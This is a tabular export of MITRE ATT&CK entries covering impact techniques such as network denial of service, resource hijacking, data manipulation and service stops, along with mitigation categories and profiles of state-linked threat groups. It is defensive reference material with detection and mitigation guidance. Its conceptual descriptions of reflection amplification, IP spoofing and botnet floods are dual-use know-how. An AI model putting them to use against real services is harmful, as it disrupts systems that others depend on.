T1498	**1**	**Technique**	**Network Denial of Service**	Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification. To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ###Direct Network Flood### Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. ###Reflection Amplification### Adversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)	Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.	When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017) Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017) As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)	impact	Sensor health and status, Network protocol analysis, Netflow/Enclave netflow, Network intrusion detection system	Linux, macOS		https://attack.mitre.org/techniques/T1498
T1496	**1**	**Technique**	**Resource Hijacking**	Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.	Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.	Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)	impact	Azure activity logs, Stackdriver logs, AWS CloudTrail logs, Process use of network	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1496
T1494	**1**	**Technique**	**Runtime Data Manipulation**	Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.	Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.	Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)	impact	File monitoring, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1494

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1489	**1**	**Technique**	**Service Stop**	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)	Monitor processes and command-line arguments to see if critical processes are terminated or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. Alterations to the service binary path or the service startup type changed to disabled may be suspicious. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)	Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.	impact	Process command-line parameters, Process monitoring, Windows Registry, API monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1489
T1492	**1**	**Technique**	**Stored Data Manipulation**	Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.	Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.	Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.	impact	Application logs, File monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1492
T1529	**1**	**Technique**	**System Shutdown/Reboot**	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)	Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.		impact	Windows event logs, Process command-line parameters, Process monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1529
T1493	**1**	**Technique**	**Transmitted Data Manipulation**	Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.	Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.	Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.	impact	Packet capture, Network protocol analysis	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1493
M1055	*2*	*Mitigation*	*Do Not Mitigate*	*This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.*							*https://attack.mitre.org/mitigations/M1055*
M1054	*2*	*Mitigation*	*Software Configuration*	*Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.*							*https://attack.mitre.org/mitigations/M1054*
M1053	*2*	*Mitigation*	*Data Backup*	*Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.*							*https://attack.mitre.org/mitigations/M1053*
M1052	*2*	*Mitigation*	*User Account Control*	*Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.*							*https://attack.mitre.org/mitigations/M1052*
M1051	*2*	*Mitigation*	*Update Software*	*Perform regular software updates to mitigate exploitation risk.*							*https://attack.mitre.org/mitigations/M1051*
M1050	*2*	*Mitigation*	*Exploit Protection*	*Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.*							*https://attack.mitre.org/mitigations/M1050*
M1049	*2*	*Mitigation*	*Antivirus/Antimalware*	*Use signatures or heuristics to detect malicious software.*							*https://attack.mitre.org/mitigations/M1049*
M1048	*2*	*Mitigation*	*Application Isolation and Sandboxing*	*Restrict execution of code to a virtual environment on or in transit to an endpoint system.*							*https://attack.mitre.org/mitigations/M1048*
M1047	*2*	*Mitigation*	*Audit*	*Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.*							*https://attack.mitre.org/mitigations/M1047*
M1046	*2*	*Mitigation*	*Boot Integrity*	*Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.*							*https://attack.mitre.org/mitigations/M1046*
M1045	*2*	*Mitigation*	*Code Signing*	*Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.*		*Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)*					*https://attack.mitre.org/mitigations/M1045*
M1044	*2*	*Mitigation*	*Restrict Library Loading*	*Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.*							*https://attack.mitre.org/mitigations/M1044*
M1043	*2*	*Mitigation*	*Credential Access Protection*	*Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.*							*https://attack.mitre.org/mitigations/M1043*
M1042	*2*	*Mitigation*	*Disable or Remove Feature or Program*	*Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.*							*https://attack.mitre.org/mitigations/M1042*
M1041	*2*	*Mitigation*	*Encrypt Sensitive Information*	*Protect sensitive information with strong encryption.*							*https://attack.mitre.org/mitigations/M1041*
M1040	*2*	*Mitigation*	*Behavior Prevention on Endpoint*	*Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.*							*https://attack.mitre.org/mitigations/M1040*
M1039	*2*	*Mitigation*	*Environment Variable Permissions*	*Prevent modification of environment variables by unauthorized users and groups.*							*https://attack.mitre.org/mitigations/M1039*
M1038	*2*	*Mitigation*	*Execution Prevention*	*Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.*							*https://attack.mitre.org/mitigations/M1038*
M1037	*2*	*Mitigation*	*Filter Network Traffic*	*Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.*							*https://attack.mitre.org/mitigations/M1037*
M1036	*2*	*Mitigation*	*Account Use Policies*	*Configure features related to account use like login attempt lockouts, specific login times, etc.*							*https://attack.mitre.org/mitigations/M1036*
M1035	*2*	*Mitigation*	*Limit Access to Resource Over Network*	*Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.*							*https://attack.mitre.org/mitigations/M1035*

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
M1034	2	Mitigation	Limit Hardware Installation	Block users or groups from installing or using unapproved hardware on systems, including USB devices.							https://attack.mitre.org/mitigations/M1034
M1033	2	Mitigation	Limit Software Installation	Block users or groups from installing unapproved software.							https://attack.mitre.org/mitigations/M1033
M1032	2	Mitigation	Multi-factor Authentication	Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.							https://attack.mitre.org/mitigations/M1032
M1031	2	Mitigation	Network Intrusion Prevention	Use intrusion detection signatures to block traffic at network boundaries.							https://attack.mitre.org/mitigations/M1031
M1030	2	Mitigation	Network Segmentation	Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.							https://attack.mitre.org/mitigations/M1030
M1029	2	Mitigation	Remote Data Storage	Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.							https://attack.mitre.org/mitigations/M1029
M1028	2	Mitigation	Operating System Configuration	Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.							https://attack.mitre.org/mitigations/M1028
M1027	2	Mitigation	Password Policies	Set and enforce secure password policies for accounts.							https://attack.mitre.org/mitigations/M1027
M1026	2	Mitigation	Privileged Account Management	Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.							https://attack.mitre.org/mitigations/M1026
M1025	2	Mitigation	Privileged Process Integrity	Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.							https://attack.mitre.org/mitigations/M1025
M1024	2	Mitigation	Restrict Registry Permissions	Restrict the ability to modify certain hives or keys in the Windows Registry.							https://attack.mitre.org/mitigations/M1024
M1022	2	Mitigation	Restrict File and Directory Permissions	Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.							https://attack.mitre.org/mitigations/M1022
M1021	2	Mitigation	Restrict Web-Based Content	Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.							https://attack.mitre.org/mitigations/M1021
M1020	2	Mitigation	SSL/TLS Inspection	Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.							https://attack.mitre.org/mitigations/M1020
M1019	2	Mitigation	Threat Intelligence Program	A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.							https://attack.mitre.org/mitigations/M1019
M1018	2	Mitigation	User Account Management	Manage the creation, modification, use, and permissions associated to user accounts.							https://attack.mitre.org/mitigations/M1018
M1017	2	Mitigation	User Training	Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.							https://attack.mitre.org/mitigations/M1017
M1016	2	Mitigation	Vulnerability Scanning	Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.							https://attack.mitre.org/mitigations/M1016
M1015	2	Mitigation	Active Directory Configuration	Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.							https://attack.mitre.org/mitigations/M1015
M1013	2	Mitigation	Application Developer Guidance	This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.							https://attack.mitre.org/mitigations/M1013
G0001	3	Group	Axiom	[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)							https://attack.mitre.org/groups/G0001
G0002	3	Group	Moafee	[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)							https://attack.mitre.org/groups/G0002
G0003	3	Group	Cleaver	[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)							https://attack.mitre.org/groups/G0003
G0004	3	Group	Ke3chang	[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)							https://attack.mitre.org/groups/G0004
G0005	3	Group	APT12	[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)							https://attack.mitre.org/groups/G0005
G0006	3	Group	APT1	[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)							https://attack.mitre.org/groups/G0006
G0007	3	Group	APT28	[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)							https://attack.mitre.org/groups/G0007
G0008	3	Group	Carbanak	[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)							https://attack.mitre.org/groups/G0008
G0009	3	Group	Deep Panda	[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)							https://attack.mitre.org/groups/G0009

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
G0010	3	Group	Turla	[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)'s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)							https://attack.mitre.org/groups/G0010
G0011	3	Group	PittyTiger	[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)							https://attack.mitre.org/groups/G0011
G0012	3	Group	Darkhotel	[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wiâ€‘Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)							https://attack.mitre.org/groups/G0012
G0013	3	Group	APT30	[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)							https://attack.mitre.org/groups/G0013
G0014	3	Group	Night Dragon	[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)							https://attack.mitre.org/groups/G0014
G0015	3	Group	Taidoor	[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)							https://attack.mitre.org/groups/G0015
G0016	3	Group	APT29	[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)							https://attack.mitre.org/groups/G0016
G0017	3	Group	DragonOK	[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)							https://attack.mitre.org/groups/G0017
G0018	3	Group	admin@338	[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)							https://attack.mitre.org/groups/G0018
G0019	3	Group	Naikon	[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People's Liberation Army's (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)							https://attack.mitre.org/groups/G0019
G0020	3	Group	Equation	[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)							https://attack.mitre.org/groups/G0020
G0021	3	Group	Molerats	[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)							https://attack.mitre.org/groups/G0021
G0022	3	Group	APT3	[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye) MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)							https://attack.mitre.org/groups/G0022
G0023	3	Group	APT16	[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)							https://attack.mitre.org/groups/G0023
G0024	3	Group	Putter Panda	[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA's 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)							https://attack.mitre.org/groups/G0024
G0025	3	Group	APT17	[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)							https://attack.mitre.org/groups/G0025
G0026	3	Group	APT18	[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)							https://attack.mitre.org/groups/G0026
G0027	3	Group	Threat Group-3390	[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)							https://attack.mitre.org/groups/G0027
